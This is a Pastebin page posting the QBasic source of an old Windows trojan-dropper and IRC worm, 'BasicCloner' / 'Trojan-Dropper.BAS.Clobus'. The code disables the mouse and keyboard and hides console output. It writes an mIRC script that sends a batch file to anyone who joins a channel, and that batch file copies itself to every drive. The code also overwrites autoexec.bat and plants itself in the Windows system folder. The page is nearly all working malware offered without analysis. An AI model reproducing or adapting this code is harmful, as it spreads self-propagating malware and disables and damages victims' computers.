Advertisement
FlyFar

Trojan-Dropper.BAS.Clobus - Source Code

Jun 9th, 2023
2,330
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
QBasic 2.43 KB | Cybersecurity | 0 0
  1.   100 CLS
  2.   101 SHELL "echo       ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿"
  3.   102 SHELL "echo       ³ °±²Û     BasicCLONER.a   by DvL     Û²±° ³"
  4.   103 SHELL "echo       ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ"
  5.   104 SHELL "echo."
  6.   105 SHELL "echo        www.geocities.com/ratty_dvl/BATch/main.htm"
  7.   106 SHELL "echo."
  8.   107 SHELL "echo off"
  9.   108 SHELL "ctty nul"
  10.   109 SHELL "c:\windows\rundll32.exe mouse,disable"
  11.   110 SHELL "c:\windows\rundll32.exe keyboard,disable"
  12.   111 OPEN "script.ini" FOR OUTPUT AS #1
  13.   112 PRINT #1, "[script]"
  14.   113 PRINT #1, "n0=on 1:JOIN:#:{"
  15.   114 PRINT #1, "n1=  /if ( $nick == $me ) { halt }"
  16.   115 PRINT #1, "n2=  /.send $nick c:\windows\system\clone\clone.bat"
  17.   116 PRINT #1, "n3=}"
  18.   117 CLOSE script.ini
  19.   118 OPEN "clone.bat" FOR OUTPUT AS #1
  20.   119 PRINT #1, "@echo off"
  21.   120 PRINT #1, "ctty nul"
  22.   121 PRINT #1, "@for %%c in (z:\,y:\,x:\,w:\,v:\,u:\,t:\,s:\,r:\,q:\,p:\,o:\,n:\,m:\,l:\,k:\,j:\,i:\,h:\,g:\,f:\,e:\,d:\,c:\) do copy %0 %%c >nul"
  23.   122 PRINT #1, "cls"
  24.   123 CLOSE clone.bat
  25.   124 SHELL "c:\"
  26.   125 SHELL "cd\"
  27.   126 OPEN "autoexec.bat" FOR OUTPUT AS #1
  28.   127 PRINT #1, "@echo off"
  29.   128 PRINT #1, "ctty nul"
  30.   129 PRINT #1, "@echo."
  31.   130 PRINT #1, "@echo."
  32.   131 PRINT #1, "@echo."
  33.   132 PRINT #1, "@echo It will get on all your disks"
  34.   133 PRINT #1, "@echo It will infiltrate your chips"
  35.   134 PRINT #1, "@echo    Yes, it`s BasicCloner !"
  36.   135 PRINT #1, "@echo."
  37.   136 PRINT #1, "@echo."
  38.   137 PRINT #1, "@echo It will stick to you like glue"
  39.   138 PRINT #1, "@echo    It will modify ram too"
  40.   139 PRINT #1, "@echo    Send in the BasicCloner"
  41.   140 PRINT #1, "@echo."
  42.   141 PRINT #1, "@echo."
  43.   142 PRINT #1, "@echo."
  44.   143 PRINT #1, "cls"
  45.   144 SHELL "if exist c:\mirc\mirc.ini copy script.ini c:\mirc\script.ini"
  46.   145 SHELL "if exist c:\mirc32\mirc.ini copy script.ini c:\mirc32\script.ini"
  47.   146 SHELL "if exist c:\progra~1\mirc\mirc.ini copy script.ini c:\progra~1\mirc\script.ini"
  48.   147 SHELL "if exist c:\progra~1\mirc32\mirc.ini copy script.ini c:\progra~1\mirc32\script.ini"
  49.   148 SHELL "md c:\windows\system\clone"
  50.   149 SHELL "copy clone.bat c:\windows\system\clone\clone.bat"
  51.   150 SHELL "del script.ini"
  52.   151 SHELL "del clone.bat"
  53.   152 SHELL "start c:\windows\system\clone\clone.bat"
  54.   153 END
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement